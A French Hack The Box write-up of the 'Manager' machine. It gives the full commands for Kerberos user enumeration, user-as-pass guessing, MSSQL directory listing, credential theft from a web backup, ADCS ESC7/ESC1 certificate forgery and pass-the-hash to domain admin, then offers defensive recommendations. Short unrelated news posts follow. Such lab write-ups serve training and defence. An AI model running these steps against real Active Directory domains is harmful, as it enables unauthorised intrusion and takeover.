I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box Manager, de difficulté "Medium".

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies/attaques abordées	Windows, Kerberos, Active Directory, Brute force, MSSQL, AD-CS
Outils utilisés	nmap, kerbrute, impacket, evil-winrm, certipy

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Résolution de la box Manager

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$nmap --max-retries 1 -T4 -sS -A -v --open -p- 10.10.11.236

Nmap scan report for 10.10.11.236
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
   |_http-server-header: Microsoft-IIS/10.0
   | http-methods: 
   |   Supported Methods: OPTIONS TRACE GET HEAD POST
   |_  Potentially risky methods: TRACE
   |_http-title: Manager
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-25 18:44:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
    | ms-sql-info: 
    |   10.10.11.236:1433: 
    |     Version: 
    |       name: Microsoft SQL Server 2019 RTM
    |       number: 15.00.2000.00
    |       Product: Microsoft SQL Server 2019
    |       Service pack level: RTM
    |       Post-SP patches applied: false

5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-title: Not Found
    |_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing

Nous voyons ici clairement que nous sommes sur un système d'exploitation Windows sans pare-feu. Nous pouvons également comprendre, grâce aux ports exposés, qu'il s'agit d'un Active Directory. Les Active Directory sont quasiment les seuls systèmes à exposer un service Kerberos (port TCP/88), un service DNS (TCP/53) ainsi que les services RPC et SMB habituels (TCP/135, TCP/139 et TCP/445). Nous voyons également un service de base de données MSSQL sur le port TCP/1433, beaucoup moins commun sur un Active Directory.

Technique d'attaque (MITRE ATT&CK) : T1087.002 - Account Discovery: Domain Account

Un annuaire Active Directory est une cible des plus intéressantes pour un attaquant, c'est LA cible principale puisque sa compromission nous donne accès aux clés du domaine (littéralement). Problème ici, nous n'avons aucun identifiant valide et toutes nos tentatives de trouver une CVE ou un service mal configuré avec un accès anonyme se sont soldées par un échec. Nous allons devoir y aller "à l'aveugle" grâce à une fonctionnalité (et non pas une vulnérabilité) du service Kerberos : l'authentification (AS-REQ).

Lorsqu'un utilisateur souhaite interagir avec le service Kerberos de notre AD, il doit au préalable être authentifié (sauf cas spécifiques avec l'attribut DONT_REQ_PREAUTH, bref). Il se trouve que le service Kerberos permet, nativement, l'énumération des utilisateurs lors de la phase d'authentification (c'est-à-dire avant authentification). Voyons cela de plus près :

Dans la trace réseau ci-dessus, j’envoie un paquet de type "AS_REQ" (Authentication Service Request) au service Kerberos ciblé. Celui-ci me répond avec un message "KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN" (Client not found in Kerberos database). Plutôt explicite, le nom d'utilisateur spécifié n'est pas reconnu par le service Kerberos, il n'existe pas. Voyons ce que cela donne avec un nom d'utilisateur qui existe forcément dans un Active Directory : administrator/administrateur :

La réponse est différente. Nous ne sommes certes pas authentifiés, mais nous avons obtenu une information : le compte administrator existe au sein de l'Active Directory et le service Kerberos nous l'indique indirectement par un changement dans sa réponse.

Nous venons ici de voir ce qu'est une énumération d'utilisateur. Beaucoup plus commune au sein des applications web, l'attaquant est en mesure de savoir, sans être authentifié, si un login utilisateur existe ou n'existe pas. Cela en exploitant un comportement "binaire" du service interrogé qui peut être un message d'erreur, mais aussi un temps de réponse différent.

On ne fait pas grand chose avec cette information, mais l'authentification reposant sur un login et un mot de passe, nous avons ici déjà 50% de l'information à découvrir. Avec du temps et un bon dictionnaire, nous pourrons obtenir une liste de comptes valides, qui deviendront alors des cibles pour nos prochaines attaques.

Cette "faiblesse" est très connue des attaquants et son exploitation est implémentée dans de très nombreux outils visant les Active Directory. Ici, nous allons utiliser l'outil "kerbrute", il se démarque notamment par sa rapidité :

[user@kali-user:/opt/statistically-likely-usernames$ kerbrute userenum -d manager.htb --dc 10.10.11.236 service-accounts.txt -o kerbrute_validUsers_service.txt
2023/10/25 14:20:17 >  [+] VALID USERNAME:       administrator@manager.htb
2023/10/25 14:20:17 >  [+] VALID USERNAME:       guest@manager.htb
2023/10/25 14:20:17 >  [+] VALID USERNAME:       operator@manager.htb]()

Je vous dois ici quelques explications. Tout d'abord, le domaine "manager.htb", d’où sort-il ? Nous l'avons en fait obtenu grâce à "nmap" et ses premières opérations d'énumération. Le nom de domaine est divulgué à dessein par l'Active Directory et ses services DNS et LDAP, comment s'authentifier auprès de lui sinon ?

Également, le dictionnaire que j'utilise ici est "service-accounts.txt". Elle provient de l'excellente ressource statistically-likely-usernames. Il s'agit d'une liste de nom (dictionnaires) contenant des noms utilisateur qui, statistiquement, ont de grandes chances de se retrouver dans un Active Directory. Il peut s'agir de nom de services, de noms utilisés pour des tests ou de noms "communs", comme John Smith, Eric Dupont, etc. Encore mieux, les différents dictionnaires proposés sont formatés en fonction des nomenclatures les plus communes. Pour John Smith, on trouvera par exemple le login "john.smith", "j.smith", "jsmith", "john.s". Le seul problème de cette ressource est qu'elle contient majoritairement des noms anglais.

Bref, grâce à "kerbrute", qui a exploité l'énumération utilisateur via l'"AS_REQ" Kerberos et une liste de nom de service statistiquement probable, nous parvenons à identifier le compte "operator".

B. Mot de passe faible et MSSQL

Je renseigne les noms des utilisateurs trouvés dans une liste que je pourrais réutiliser ensuite :

echo "operator" > logins.txt
echo "guest" > logins.txt
echo "administrator" > logins.txt

Il nous faut à présent trouver le mot de passe correspondant à ce compte. Nous allons utiliser "netexec" pour effectuer une authentification via SMB en utilisant les logins identifiés :

Technique d'attaque (MITRE ATT&CK) : T1110.001 - Brute Force: Password Guessing

$ netexec smb 10.10.11.236 -u logins.txt -p logins.txt --no-bruteforce                
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\operator:operator  

Ici, nous allons utiliser notre liste de login à la fois comme entrée du paramètre "-u" (username) et "-p" (password). Avec l'option "--no-bruteforce", l'outil saura que l'on souhaite faire une attaque de type user as pass. Autrement dit, tenter une seule authentification par compte, avec comme mot de passe login utilisateur.

Dans un contexte réaliste, il faut être très vigilant lors de la réalisation d'une authentification avec un compte utilisateur. La réalisation de quelques tentatives d'authentification infructueuses peut bloquer le compte utilisateur pendant plusieurs minutes et perturber un service ou l'activité de l’utilisateur. Avant toute opération, il est nécessaire au minimum de connaitre la politique de mot de passe et de verrouillage en place. La difficulté principale étant que cet élément n'est récupérable qu'en étant authentifié.

Via une attaque de type user as pass, nous sommes sûrs de réaliser qu'une seule tentative d'authentification par compte, les chances de verrouillage sont donc bien moindres.

Notre attaque nous a permis de découvrir que le compte "operator" utilise également "operator" comme mot de passe. Cela est loin d'être rare dans un contexte réalise et c'est d'autant plus le cas pour les comptes non nominatifs comme les comptes de tests ou de service ("formation", "scan", "accueil", "test2023", etc.).

Nous sommes à présent authentifiés sur le domaine ! Il s'agit d'une grande avancée puisque cela nous permet de récupérer un (très) grand nombre d'informations à propos de celui et des différents objets qu'il gère. Nous allons à présent tenter de nous authentifier avec ce compte sur tous les services exposés par le système cible :

Technique d'attaque (MITRE ATT&CK) : T1021 - Remote Services

$ impacket-mssqlclient -windows-auth operator:operator@10.10.11.236
SQL (MANAGER\Operator  guest@master)>

Succès ! Nous avons donc découvert un compte utilisateur du domaine qui a la permission de s'authentifier sur le service de base de données MSSQL. À partir de cet accès, tentons de découvrir les possibilités qui s'offrent à nous. Exploitation d'une version obsolète, vol de données sensibles, exécution de commande ?

Technique d'attaque (MITRE ATT&CK) : T1505.001 - Server Software Component: SQL Stored Procedures

Après plusieurs tentatives d'énumération, je découvre notamment que beaucoup d'instruction permettant classiquement l'exécution de commande ne sont pas autorisées pour mon utilisateur. Une exception apparait cependant parmi les nombreux cas d'usage de ma todo-list: "EXEC xp_dirtree" :

SQL (MANAGER\Operator  guest@master)> select @@version;

Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) 
        Sep 24 2019 13:48:23 
        Copyright (C) 2019 Microsoft Corporation
        Express Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)

SQL (MANAGER\Operatorest@master)> EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1

Cette commande permet de lister le contenu d'un répertoire du système :

Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery

about.html
contact.html
css
images
index.html
js
service.html
web.config
website-backup-27-07-23-old.zip

Dans le résultat du listing du contenu du répertoire web, on découvre notamment une archive ZIP oubliée (un cas bien plus classique que l'on pourrait le croire). Cela signifie que cette archive est téléchargeable depuis le service web exposé, il suffisait de trouver son nom, ce qui est chose faite à présent.

Technique d'attaque (MITRE ATT&CK) : T1552.001 - Unsecured Credentials: Credentials In Files

$ wget http://10.10.11.236/website-backup-27-07-23-old.zip
$ unzip website-backup-27-07-23-old.zip
$ cat .old-conf.xml 
[...]
         <user>raven@manager.htb</user>
         <password>R4v3nBe5tD3veloP3r!123</password>

À l'intérieur de l'archive se trouve notamment un fichier XML contenant des identifiants utilisateur. Encore une fois, il va être important ici de tenter ces identifiants sur tous les services exposés. Il peut s'agir d'un compte ayant des droits d'accès à un nouveau partage SMB, ou au service MSSQL avec l'accès à des commandes ou base de données supplémentaires, etc.

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

$ evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
*Evil-WinRM* PS C:\Users\Raven\Desktop> type user.txt
14895a[REDACTED]5846a502

Cet utilisateur nous permet l'accès au service WinRM du système !

L'accès au service WinRM est le résultat de l'assignation de permissions spécifiques à cet utilisateur ou de l'appartenance à un groupe de permissions (généralement Remote Management Users). Lors d'une intrusion, l'attaquant cherchera à cibler des utilisateurs avec ce genre de permissions spéciales, car ils seront certains d'obtenir par la suite un accès interactif à des systèmes.

C. ADCS : Manipulation des certificats

Parmi la très longue liste des éléments à étudier pour un attaquant lorsqu'il parvient à obtenir un accès authentifié à un domaine Active Directory figure les templates de certificats et la configuration du service ADCS. De nombreuses attaques et outils d'exploitation ont été rendus publiques en 2021 par SpectorOps à ce sujet.

Active Directory Certificate Services est un service Windows Server facilitant la création, la distribution et la gestion de certificats numériques. Les certificats générés par ADCS sont utilisés pour sécuriser les communications en chiffrant les données, authentifier les utilisateurs, garantir l'intégrité des données, permettre des connexions sécurisées au sein du domaine, etc.

Il s'agit tout simplement de la PKI (Public Key Infrastructure) de votre domaine, en gardant à l'esprit qu'un certificat permet également l'authentification, il s'agit d'une cible de choix pour un attaquant.

Nous pouvons commencer par nous assurer qu'un service ADCS existe bien sur le domaine cible, cela à distance depuis Linux à l'aide de l'outil "netexec" :

Ici, "netexec" nous confirme bien que le serveur "DC01.manager.htb" est également le service ADCS du domaine. À présent, nous pouvons tenter d'énumérer les templates de certificats existants au sein de ce service. L'ADCS permet l'émission de certificats avec des paramètres pré-définis grâce à des objets AD appelés template, ou modèles de certificat. Ces templates sont des ensembles de politiques d'inscription et de paramètres de certificat qui contiennent des informations telles que l'usage pouvant être fait du certificat, son temps de validité, qui peut demander la génération d'un certificat, pour quel type d'objet, etc.

Vous pouvez voir la gestion, création et détention d'un certificat comme le cas des badges d'accès dans un bâtiment sécurisé. Les agents d'accueil peuvent créer des badges pour des visiteurs ? Mais peut-être pas pour tous les étages ? Existe-t-il une borne de self-enrollement pour tous les visiteurs ? À quels étages peuvent-ils eux-mêmes se donner accès ? Est-ce qu'un agent d'accueil peut se créer un badge au nom du PDG ? Qui génère le badge des agents d'accueil ? Toutes ces questions peuvent être mises en parallèle avec les attaques sur ADCS.

L'outil "Certipy" peut notamment être utilisé pour découvrir ces configurations de templates, exemple :

pip3 install certipy-ad
certipy-ad find -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -stdout

Voici un extrait du résultat de la commande "certipy-ad" :

L'outil nous a permis de lister la configuration de 33 templates, dont 11 activés. Nous voyons ensuite un bout de la configuration de l'autorité de certification. Entre autres, nous pouvons nous intéresser à la configuration du template 0, histoire de voir ce que cette configuration peut nous apprendre :

Ce template se nomme "KerberosAuthentication", nous voyons notamment que les certificats générés à l'aide de ce template peuvent être utilisés pour l'authentification client ("Client Authentication : True"), mais aussi pour l'authentification côté serveur ("Extended Key usage: Server Authentication") par exemple. La section "Permissions" nous intéresse particulièrement puisqu'elle permet de savoir qui peut utiliser ce template pour enroller (générer) un certificat. Ici, que des membres des groupes "administrateurs".

Si l'on revient au résultat initial, on peut constater que "certipy-ad" nous a indiqué avoir trouvé une configuration dangereuse lors de l'affichage de la configuration de l'autorité de certification :

Au travers l'analyse automatique de la configuration, il semble que l'attaque ESC7 soit exploitable sur ce service ADCS.

Le terme "ESC" fait ici référence à "Escalation". Il s'agit d'une nomenclature choisie par les SpecterOps pour identifier les différentes faiblesses de configuration, et donc attaques, liées à l'AD-CS. Il en existe aujourd'hui 14 (de ESC1 à ESC14 donc). Pour aller en détail sur chacune des exploitations, je vous oriente vers Hacktrickz

ESC7 est donc le cas d'une configuration trop permissive donnée à un utilisateur ou un groupe d'utilisateurs sur l'autorité de certification elle-même.

Comme tout objet AD, l'autorité de certification possède des ACL (Access-Controle List) afin de gérer les actions réalisables par d'autres objets (utilisateurs, groupes, ordinateurs, etc.). Les deux droits principaux ici sont le droit "ManageCA" (« Administrateur CA » ) et le droit "ManageCertificates" ( « Gestionnaire de certificats ».). Si un attaquant prend le contrôle d'un utilisateur qui possède ces droits (ici : "raven"), il pourra alors approuver les demandes de certificat en attente.

Technique d'attaque (MITRE ATT&CK) : T1649 - Steal or Forge Authentication Certificates

L'exploitation de cette vulnérabilité repose sur le fait que les utilisateurs disposant de ces droits peuvent émettre des demandes de certificat, qui, même s'ils échoueront dans un premier temps, pourrons ensuite être approuvés grâce au droit "ManageCertificates".

Le modèle de certificat "SubCA" est par défaut vulnérable à ESC1, mais seuls les administrateurs peuvent utiliser ce template dans le modèle. Ainsi, un utilisateur peut toujours demander à s'inscrire à la "SubCA", ce qui sera refusé. Nous obtiendrons alors notre demande "en attente", qui nous approuverons ensuite avec l'utilisateur compromis ("raven"), qui possède les droits "ManageCertificates".

L'attaque ESC1 est l'un des cas de figure les plus simples. Il concerne les templates qui autorisent la prise en compte de l'attribut SAN (Subject Alternative Name). Celui-ci permet tout simplement à l'utilisateur à définir, en plus de son nom, d'autres noms pour lesquels le certificat sera valide (à tout hasard, administrateur). L'utilisateur demande alors un certificat qui sera valide pour l'utilisateur demandeur (Mickael) mais il inclut dans sa demande un champ supplémentaire disant : le certificat que tu vas me signer sera aussi valide pour "administrateur".

La simplicité de l'attaque est parfois difficile à cerner ("c'est aussi bateau que ça ?") : la réponse est oui.

Voici les pré-requis de l'attaque :

Nous disposons déjà de la permission "ManageCA" grâce à l'utilisateur "raven". Nous pouvons alors nous ajouter les droits "Manage Certificates" (nous sommes maitres de l'autorité de certification, logique que nous puissions nous ajouter les droits de gérer les certificats) :

$ certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

Le pré-requis n°2 est également atteint, retournons dans notre énumération des templates pour voir si le pré-requis 3 l'est aussi (template "SubCA" activé) :

Tous nos prérequis sont là. Nous pouvons commencer par demander un certificat basé sur le template "SubCA". Cette demande sera refusée, nous ne sommes pas membres des groupes autorisés à s'enroller (regardez le contenu de l'attribut "Enrollment Permissions"). Mais, nous obtiendrons tout de même une clé privée (générée par nous-même, pour notre demande) et notre ID de demande (notez l'option "-upn" dans laquelle nous indiquons le SAN à ajouter au certificat) :

certipy-ad req -ns 10.10.11.236 -ca 'manager-DC01-CA'  -template SubCA -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -upn administrator@manager.htb

Ici, nous venons de demander à l'autorité de certification la création d'un certificat pour l'utilisateur "administrator@manager.htb" (grâce à l'attribut SAN) en utilisant le template "SubCA". Vous noterez que bien que ce template soit activé, notre utilisateur ("raven") n'est pas membre des groupes autorisés à utiliser ce template. La demande est donc refusée. Avec nos permissions "ManageCA" et "ManageCertificates", nous pouvons ensuite approuver la demande de certificat ayant échoué avec la commande suivante :

$ certipy-ad ca -ca 'manager-DC01-CA' -issue-request 14  -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123'  -dc-ip 10.10.11.236                                                                                                          
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

Et enfin, nous pouvons récupérer le certificat émis avec la commande "req" et le paramètre "-retrieve" :

certipy-ad req -ca 'manager-DC01-CA' -target dc01.manager.htb  -template SubCA -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -retrieve 14

Nous pouvons à présent récupérer le hash NTLM de l'administrateur du domaine en utilisant ce certificat. Il faut pour cela demander un TGT via PKINIT (extension Kerberos prenant en compte les certificats), une fonctionnalité de "backup" y a été ajoutée pour permettre l'authentification sur les services/OS ne prenant pas en compte Kerberos.

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

Avec le hash du compte "administrator", nous pouvons effectuer une authentification via la technique pass-the-hash :

$ evil-winrm -i $IP -u administrator -H ae5064c2f62317332c88629e025924ef
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
42fabc6[REDACTED]0ff4d

Nous sommes désormais administrateur du contrôleur de domaine, nous avons les clés du royaume !

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)	Détails
T1046 - Network Service Discover	Réalisation d'un scan réseau via "nmap" et découverte de multiple services
T1087.002 - Account Discovery: Domain Account	Enumération d'utilisateur via "kerbrute" et la wordlist "statistically-likely-usernames"
T1110.001 - Brute Force: Password Guessing	Attaque "user as pass" sur les comptes du domaine découverts via "netexec", découverte d'identifiants valides
T1021 - Remote Services	Authentification sur le service MSSQL avec le compte "operator" compromis
T1505.001 - Server Software Component: SQL Stored Procedures	Exécution de commande partielle MSSQL
T1083 - File and Directory Discovery	Découverte des fichiers locaux du serveur Windows via MSSQL et exfiltration d'une archive ZIP depuis la racine du service web
T1552.001 - Unsecured Credentials: Credentials In Files	Découverte d'identifiants de l'utilisateur du domaine "raven" dans l'archive ZIP exfiltrée
T1021.006 - Remote Services: Windows Remote Management	Authentification via winRM et LDAP, puis découverte du service AD-CS via "Certipy"
T1649 - Steal or Forge Authentication Certificates	Utilisation de Ccertipy" pour forger un certificat valide pour le compte administrateur du domaine via ESC7, puis ESC1
T1021.006 - Remote Services: Windows Remote Management	Authentification avec le compte administrateur du domaine

IV. Notions abordées

A. Côté attaquant

Les premières étapes de compromission de ce serveur sont (hélas) très réalistes. Il est étonnant de voir que la plupart des vulnérabilités sur un domaine proviennent de négligences humaines. Ce genre d'attaque et d'énumération sont à ne jamais oublier sur un domaine. Il faut également savoir adapter ses dictionnaires (et plus largement ses outils) en fonction du contexte métier ou de la langue de la cible.

Nous avons vu lors de l'exploitation du service MSSQL que connaitre ou savoir se documenter rapidement sur les commandes et fonctionnalités natives qui permettent une exploitation est un atout. Ici la commande utilisée ("xp_dirtree") est totalement native à MSSQL, le fait le compte compromis puisse l'utiliser est une faiblesse probablement due à des droits trop permissifs, mais c'est ce qui nous a permis de compromettre le serveur. Sur chaque service de base de données, voir chaque version, il existe des commandes comme celles-ci qui permettent d'écrire ou lire des données sur le serveur, voire exécuter des commandes. Difficile de tout retenir, il faut plutôt opter pour une documentation personnelle ou une banque de liens externes pour être sûr de rester à jour et d'avoir tout sous la main lorsque l'on en aura besoin.

L'attaque sur ADCS est bien entendu ce qui vaut à cette box la notation "Medium" à mon sens. Il faut ici avoir de bonnes notions de l'aspect métier et fonctionnels d'une PKI pour ensuite comprendre l'attaque à réaliser. Cela nous permet de rappeler qu'avant d'apprendre à attaquer, il faut connaitre les bases de l'administration système, de la cryptographie et du développement. Également, il serait difficile de trouver ce genre de vulnérabilité sur un service aussi spécifique qu'ADCS seul sans y passer des dizaines d'heures. Les attaques sur ADCS ont été rendues publiques en 2021 et il fallait bien entendu assurer sa veille technologique afin d'inclure ses faiblesses dans notre méthodologie d'audit d'environnement AD. Pour la pratique, je vous conseille bien sûr cette box Hack the box, mais aussi le lab Try Hack Me suivant : AD Certificate Templates

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : il est recommandé de mettre en place une politique de mot de passe robuste interdisant notamment les mots de passe faibles avec un seul alphabet ou le "user as pass". L'application de cette recommandation doit notamment se baser sur le document Recommandations relatives à l'authentification multifacteur et aux mots de passe de l'ANSSI. Côté détection, il est recommandé de surveiller les journaux d'authentification pour détecter les échecs de connexion au niveau du domaine. Si les échecs d'authentification sont nombreux sur une courte période de temps, il peut y avoir une tentative de force brute en cours. Le centralisation des logs et l'utilisation d'un SIEM peuvent ici grandement aider.

Recommandation n°2 : nous pouvons également recommander de supprimer l'archive ZIP située à la racine du service web. Les archives contiennent souvent des données sensibles (configurations, mots de passe) et leur place n'est pas sur un service web accessible sans authentification. Il est recommandé de les stocker dans un emplacement sécurisé, accessible uniquement par des utilisateurs authentifiés. Pour aller plus loin, nous pouvons également recommander de stocker les archives de configuration et de code source de façon chiffrée et, en complément, de durcir la configuration du service web pour interdire l'accès aux fichiers de backup (.zip, .tar, etc.) directement dans la configuration Apache.

Recommandation n°3 : il peut être recommandé d'améliorer la sécurité du service ADCS. De multiples bonnes pratiques existent à ce sujet, mais doit en premier lieu être effectuée une revue des ACL sur les templates de certificats et sur l'autorité de certification afin de s'assurer que seuls des groupes légitimes sont autorisés à y effectuer des actions sensibles. De manière générale, il est d'ailleurs toujours recommandé de passer par des groupes pour l'attribution des droits que l'attribution directe à un utilisateur.

Recommandation n°4 : il est recommandé d'appliquer une séparation stricte des usages sur les services du système d'information. Les services de base de données et de gestion des certificats répondent à des fonctions métiers et de sécurité différents et doivent être positionnés sur des serveurs distincts. Cela afin de rendre plus difficile pour un attaquant la propagation de sa compromission d'un service à l'autre. Pour aller plus loin, il est recommandé de consulter le document La défense en profondeur appliquée aux systèmes d’information de l'ANSSI. (Soyons francs, cette recommandation est plutôt pour le principe, les services sont ici mutualisés sur un même serveur, car Hack The Box ne propose qu'une machine à la fois :D. Mais consultez quand même ce document, très intéressant ! ).

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy

The post Hack The Box – Résoudre la box Manager : outils, méthodes et recommandations pour se protéger first appeared on IT-Connect.

Dimanche dernier, les forces de l'ordre françaises ont procédé à l'arrestation de 3 personnes qui seraient impliquées dans la cyberattaque contre France Travail (ex-Pôle Emploi). Voici ce que l'on sait !

Rappel des faits : le 13 mars 2024, France Travail a révélé avoir subi une cyberattaque sur ses systèmes. Grâce à cette intrusion, les pirates sont parvenus à voler une base de données contenant les données personnelles de "potentiellement" 43 millions de personnes. Cette base de données ne contient pas d'informations bancaires, ni même les mots de passe des comptes, mais elle contient de précieuses informations sur les personnes concernées : nom, prénom, date de naissance, numéro de sécurité sociale, identifiant France Travail, adresse e-mail, adresse postale, et numéro de téléphone.

Trois jeunes mis en détention provisoire

Suite à cet incident de sécurité, une enquête a été ouverte et le travail de recherche a rapidement payé puisque ce dimanche 17 mars 2024, trois personnes ont été interpellées. Puis, ce mardi 19 mars 2024, elles ont été mises en examen et placées en détention provisoire pour accès et maintien frauduleux dans un système de traitement automatisé de données, extraction de ces données, escroquerie et blanchiment, le tout en bande organisée.

Comme le révèle le site Ouest France, la procureure de Paris, Laure Beccuau, a indiqué à l'AFP qu'il s'agissait de trois jeunes d'une vingtaine d'années, nés en novembre 2001 dans l’Yonne, et en septembre 2000 et septembre 2002 dans l’Ardèche.

Les enquêteurs ont pu mener des perquisitions aux domiciles des suspects et ils ont pu analyser le matériel informatique de ces derniers. Ils sont parvenus à identifier des preuves de participation à des activités d'escroquerie basée sur l'utilisation de campagnes de phishing. Pour le moment, des investigations sont en cours pour déterminer s'ils sont bien à l'origine de cette cyberattaque et identifier d'éventuels autres suspects.

Quoi qu'il en soit, la confiance est de mise, car nous ne savons pas réellement qui a cette base de données en sa possession, et elle peut être utilisée pour mettre en place des campagnes d'hameçonnage.

The post Cyberattaque France Travail : 3 personnes interpellées et mises en détention provisoire ! first appeared on IT-Connect.

Un chercheur en sécurité a identifié un nouveau logiciel malveillant destructeur de données, nommé AcidPour, et qui cible les équipements réseau ainsi que des appareils avec un système Linux. Voici ce que l'on sait sur cette menace.

AcidPour, qui est considéré comme une variante du malware AcidRain, est, ce que l'on appelle un "data wiper", c'est-à-dire un malware dont l'unique but est de détruire les données présentes sur l'appareil infecté. Autrement dit, le malware AcidPour est destiné à effectuer des actes de sabotages. D'ailleurs, AcidRain a été utilisé dans le cadre d'une cyberattaque contre le fournisseur de communications par satellite Viasat, ce qui avait eu un impact important sur la disponibilité des services en Ukraine et en Europe.

Le malware AcidPour quant à lui, a été identifié par Tom Hegel, chercheur en sécurité chez SentinelLabs, et il a été téléchargé depuis l'Ukraine le 16 mars 2024. Il présente plusieurs similitudes avec AcidRain, notamment au sein des chemins pris pour cible sur les machines infectées. Néanmoins, les deux malwares ont uniquement 30% de code source en commun. AcidPour pourrait être une variante beaucoup plus évoluée et puissante qu'AcidRain, grâce à la "prise en charge" de la destruction de données sur une plus grande variété d'appareils.

AcidPour est un malware destructeur de données capable de s'attaquer à des équipements réseau, notamment des routeurs, mais aussi des appareils avec une distribution Linux embarquée (Linux x86). Par exemple, il pourrait s'agir de cibler des NAS dont le système est basé sur Linux, car le malware s'intéresse aux chemins de type "/dev/dm-XX.

Sur X (ex-Twitter), Rob Joyce, directeur de la cybersécurité de la NSA, affiche une certaine inquiétude vis-à-vis de ce logiciel malveillante : "Il s'agit d'une menace à surveiller. Mon inquiétude est d'autant plus grande que cette variante est plus puissante que la variante AcidRain et qu'elle couvre davantage de types de matériel et de systèmes d'exploitation.

Enfin, sachez que SentinelLabs a partagé un échantillon de ce malware sur VirusTotal, et vous pouvez le retrouver sur cette page publique.

Source

The post AcidPour, un malware destructeur de données, qui cible Linux et les équipements réseau ! first appeared on IT-Connect.

Le 31 mars de chaque année, c'est la Journée Mondiale de la Sauvegarde ! Pour célébrer cet événement, l'éditeur AOMEI vous offre la possibilité d'utiliser ses applications gratuitement, pendant 1 an !

AOMEI est un éditeur spécialisé dans la sauvegarde et la gestion des données qui propose un ensemble de logiciels permettant de sauvegarder et restaurer ses données, mais aussi des machines virtuelles, et une application de partitionnement baptisée Partition Assistant.

À l'occasion de la Journée Mondiale de la Sauvegarde, prévue pour le 31 mars 2024, AOMEI propose l'offre suivante : vous pouvez télécharger et utiliser gratuitement 6 logiciels de sauvegarde AOMEI pendant un an. En temps normal, la majorité de ces applications sont payantes et AOMEI indique que vous pouvez faire une économie de 669 dollars.

Voici la liste des applications proposées :

• AOMEI Backupper Professional pour la sauvegarde Windows : sauvegarde du système d'exploitation, d'un disque entier ou de fichiers individuels sur un disque local ou externe, un NAS, un réseau ou Cloud. Possibilité d'effectuer des sauvegardes complètes, incrémentielles et différentielles.
• FoneTool Professional pour la sauvegarde de l'iPhone : sauvegarde complète ou sélective des photos, vidéos, musiques, contacts, etc. de l'iPhone/iPad/iPod.
• CBackup pour la sauvegarde Cloud (partenaire) : Sauvegarde d'un Cloud vers un autre et synchronisation des données entre plusieurs Cloud. Sauvegarde d'un PC dans le Cloud.
• AOMEI Cyber Backup Unlimited pour la sauvegarde de machines virtuelles Hyper-V et VMware
• MyRecover Pro for Windows pour la restauration de données sur Windows
• MyRecover Pro for iOS pour la restauration de données sur iPhone et iPad

